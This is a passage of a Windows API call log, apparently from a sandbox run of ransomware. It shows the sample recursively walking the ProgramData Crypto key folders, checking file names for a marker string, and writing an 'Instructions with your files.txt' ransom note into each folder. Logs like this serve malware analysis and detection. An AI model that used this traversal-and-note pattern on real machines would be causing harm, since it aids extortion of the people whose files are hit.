[0119.962] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0119.963] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\.") returned 37
[0119.963] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0119.963] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\..") returned 38
[0119.963] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1
[0119.963] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned 39
[0119.963] GetProcessHeap () returned 0x810000
[0119.963] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0119.963] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*") returned 41
[0119.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0119.963] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\.") returned 41
[0119.963] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0119.963] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\..") returned 42
[0119.963] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
[0119.963] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned 51
[0119.963] GetProcessHeap () returned 0x810000
[0119.963] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0119.963] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*") returned 53
[0119.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0119.963] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\.") returned 53
[0119.964] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0119.964] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\..") returned 54
[0119.964] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0119.964] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\Instructions with your files.txt") returned 84
[0119.964] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\machinekeys\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0119.964] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0119.965] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0119.965] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0119.965] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0119.965] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0119.965] CloseHandle (hObject=0x114) returned 1
[0119.965] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0119.965] GetProcessHeap () returned 0x810000
[0119.965] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0119.965] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0
[0119.965] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\Instructions with your files.txt") returned 72
[0119.965] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0120.022] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0120.023] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0120.023] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0120.023] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0120.024] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0120.024] CloseHandle (hObject=0x110) returned 1
[0120.024] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0120.024] GetProcessHeap () returned 0x810000
[0120.024] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0120.024] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1
[0120.024] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned 40
[0120.024] GetProcessHeap () returned 0x810000
[0120.024] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0120.024] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*") returned 42
[0120.024] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0120.027] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\.") returned 42
[0120.027] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0120.027] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.028] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\..") returned 43
[0120.028] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0120.028] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0120.028] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\Instructions with your files.txt") returned 73
[0120.028] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\keys\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0120.028] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0120.029] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0120.029] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0120.029] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0120.029] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0120.029] CloseHandle (hObject=0x110) returned 1
[0120.029] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0120.029] GetProcessHeap () returned 0x810000
[0120.029] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0120.029] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1
[0120.029] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned 39
[0120.029] GetProcessHeap () returned 0x810000
[0120.029] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0120.029] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*") returned 41
[0120.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0120.030] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\.") returned 41
[0120.030] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.030] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\..") returned 42
[0120.030] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
[0120.030] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned 51
[0120.030] GetProcessHeap () returned 0x810000
[0120.030] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0120.030] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*") returned 53
[0120.030] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0120.030] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\.") returned 53
[0120.030] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.030] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\..") returned 54
[0120.030] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0120.030] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\Instructions with your files.txt") returned 84
[0120.030] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0120.031] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0120.031] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0120.031] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0120.032] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0120.032] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0120.032] CloseHandle (hObject=0x114) returned 1
[0120.032] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0120.032] GetProcessHeap () returned 0x810000
[0120.032] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0120.032] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
[0120.032] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned 48
[0120.032] GetProcessHeap () returned 0x810000
[0120.032] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0120.032] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*") returned 50
